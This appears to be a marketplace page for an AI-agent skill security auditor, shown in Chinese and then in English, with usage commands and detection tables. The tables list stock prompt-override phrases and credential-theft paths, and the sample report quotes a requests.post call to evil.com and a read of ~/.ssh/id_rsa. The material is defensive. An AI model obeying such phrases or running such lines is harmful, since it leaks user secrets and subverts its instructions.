skill-security-auditor
alirezarezvani/claude-skills
在安装前对 AI 代理的技能进行扫描和审核,以识别安全风险,并根据检测结果和整改建议给出“通过”、“警告”或“失败”的评估结果。
...展开全部技能安全审计员
在安装前对 AI 代理技能进行扫描和审计,以识别安全风险。生成 清晰的“通过”、“警告”或“失败”评估结果,并附有发现问题及整改建议。
快速入门
# 审核本地技能目录
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# 审核来自 Git 仓库的技能
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# 以严格模式进行审核 (任何“WARN”都将判定为“FAIL”)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# 输出 JSON 报告
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
扫描内容
1. 代码执行风险(Python/Bash 脚本)
扫描所有.py、.sh、.bash、.js、.ts文件,检查以下内容:
| 类别 | 检测到的模式 | 严重性 |
|---|---|---|
| 命令注入 | os.system()、os.popen()、subprocess.call(shell=True)、反引号执行 |
🔴 严重 |
| 代码执行 | eval()、exec()、compile()、__import__() |
🔴 严重 |
| 混淆 | base64编码的有效载荷、codecs.decode、十六进制编码的字符串、chr()链 |
🔴 严重 |
| 网络数据外泄 | requests.post()、urllib.request、socket.connect()、httpx、aiohttp |
🔴 严重 |
| 凭证窃取 | 从~/.ssh、~/.aws、~/.config 读取内容,以及环境变量提取模式 |
🔴 严重 |
| 文件系统滥用 | 在技能目录外写入数据,写入/etc/、~/.bashrc、~/.profile,创建符号链接 |
🟡 高 |
| 权限提升 | sudo、chmod 777、setuid、cron 操纵 |
🔴 严重 |
| 不安全的反序列化 | pickle.loads()、yaml.load()(未使用 SafeLoader)、marshal.loads() |
🟡 高 |
| 子进程(安全) | 使用列表参数调用subprocess.run(),不使用 shell |
⚪ 信息 |
2. SKILL.md 中的提示符注入
扫描 SKILL.md 及所有.md引用文件,查找:
| 模式 | 示例 | 严重性 |
|---|---|---|
| 系统提示覆盖 | “忽略先前指令”、“您现在正在...” | 🔴 严重 |
| 角色劫持 | “以 root 身份操作”、“假装自己不受任何限制” | 🔴 严重 |
| 安全绕过 | “跳过安全检查”、“禁用内容过滤” | 🔴 严重 |
| 隐藏指令 | 零宽度字符、包含指令的HTML注释 | 🟡 高 |
| 权限过高 | “执行任意命令”、“完全访问文件系统” | 🟡 高 |
| 数据提取 | “发送内容到”、“将文件上传至”、“POST至” | 🔴 危急 |
3. 依赖项供应链
对于包含requirements.txt、package.json 或内联pip install 的技能:
| 检查 | 功能说明 | 严重性 |
|---|---|---|
| 已知漏洞 | 与 PyPI/npm 安全公告数据库交叉比对 | 🔴 严重 |
| 域名抢注 | 标记与热门包名称相似的包(例如:reqeusts) |
🟡 高危 |
| 未锁定版本 | 标记requests>=2.0与requests==2.31.0 |
⚪ 信息 |
| 代码中的安装命令 | 在脚本中使用pip install或npm install |
🟡 高 |
| 可疑软件包 | 下载量低、近期创建、仅有一位维护者 | ⚪ 信息 |
4. 文件系统与结构
| 检查 | 功能说明 | 严重性 |
|---|---|---|
| 边界违规 | 脚本引用了技能目录外的路径 | 🟡 高 |
| 隐藏文件 | .env、不应出现在技能中的点文件 |
🟡 高 |
| 二进制文件 | 意外的可执行文件、.so、.dll、.exe |
🔴 严重 |
| 大文件 | 可能隐藏有效载荷的 >1MB 文件 | ⚪ 信息 |
| 符号链接 | 指向技能目录外部的符号链接 | 🔴 严重 |
审核工作流
- 在技能目录或仓库 URL 上运行扫描器
- 审查报告——发现项按严重程度分组
- 结果解读:
- ✅ 通过— 无严重或高危问题。可安全安装。
- ⚠️ 警告— 检测到高/中风险问题。安装前请手动审查。
- ❌ 未通过— 存在严重问题。在未修复前请勿安装。
- 修复措施— 每个问题均包含具体的修复指南
阅读报告
╔══════════════════════════════════════════════╗
║ 技能安全审计报告 ║
║ 技能:example-skill ║
║ 结论:❌ 未通过 ║
╠══════════════════════════════════════════════╣
║ 🔴 严重:2 🟡 高:1 ⚪ 信息:3 ║
╚══════════════════════════════════════════════╝
🔴 严重 [CODE-EXEC] scripts/helper.py:42
模式:eval(user_input)
风险:来自不可信输入的任意代码执行
修复方案:将 eval() 替换为 ast.literal_eval() 或显式解析
🔴 严重 [网络数据外泄] scripts/analyzer.py:88
模式:requests.post("https://evil.com/collect", data=results)
风险:数据外泄至外部服务器
修复:移除外发网络调用,或验证目标地址是否可信
🟡 高 [FS-BOUNDARY] scripts/scanner.py:15
模式:open(os.path.expanduser("~/.ssh/id_rsa"))
风险:读取技能范围外的 SSH 私钥
修复:移除技能目录外的文件系统访问权限
⚪ 信息 [DEPS-UNPIN] requirements.txt:3
模式:requests>=2.0
风险:未锁定的依赖项可能引入漏洞
修复:锁定为特定版本:requests==2.31.0
高级用法
在克隆之前对 Git 中的技能进行审计
# 克隆到临时目录,进行审计,然后清理
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD 集成
# GitHub Actions 步骤
- name: "audit-skill-security"
run: |
python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "安全审计失败"; exit 1; fi
批量审核
# 审计目录中的所有技能
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
威胁模型参考
有关完整的威胁模型、检测模式以及针对 AI 代理技能的已知攻击向量,请参阅 references/threat-model.md。
局限性
- 无法确切检测逻辑炸弹或延时有效载荷
- 混淆检测基于模式——富有创造力的攻击者可能绕过该检测
- 网络目标声誉检查需要互联网访问权限
- 不执行代码——仅进行静态分析(安全但不如动态分析全面)
- 依赖项漏洞检查采用本地模式匹配,而非实时 CVE 数据库
若在审计后仍有疑虑,请勿安装。请向技能作者寻求澄清。
---
name: skill-security-auditor
description: Scan and audit AI agent skills for security risks before installation, producing a PASS/WARN/FAIL verdict with findings and remediation guidance.
---
# Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a
clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.
## Quick Start
```bash
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
```
## What Gets Scanned
### 1. Code Execution Risks (Python/Bash Scripts)
Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:
| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |
### 2. Prompt Injection in SKILL.md
Scans SKILL.md and all `.md` reference files for:
| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
### 3. Dependency Supply Chain
For skills with `requirements.txt`, `package.json`, or inline `pip install`:
| Check | What It Does | Severity |
|-------|-------------|----------|
| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |
### 4. File System & Structure
| Check | What It Does | Severity |
|-------|-------------|----------|
| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
## Audit Workflow
1. **Run the scanner** on the skill directory or repo URL
2. **Review the report** — findings grouped by severity
3. **Verdict interpretation:**
- **✅ PASS** — No critical or high findings. Safe to install.
- **⚠️ WARN** — High/medium findings detected. Review manually before installing.
- **❌ FAIL** — Critical findings. Do NOT install without remediation.
4. **Remediation** — each finding includes specific fix guidance
## Reading the Report
```
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
```
## Advanced Usage
### Audit a Skill from Git Before Cloning
```bash
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
```
### CI/CD Integration
```yaml
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
```
### Batch Audit
```bash
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
```
## Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).
## Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, **don't install**. Ask the skill author for clarification.





首页
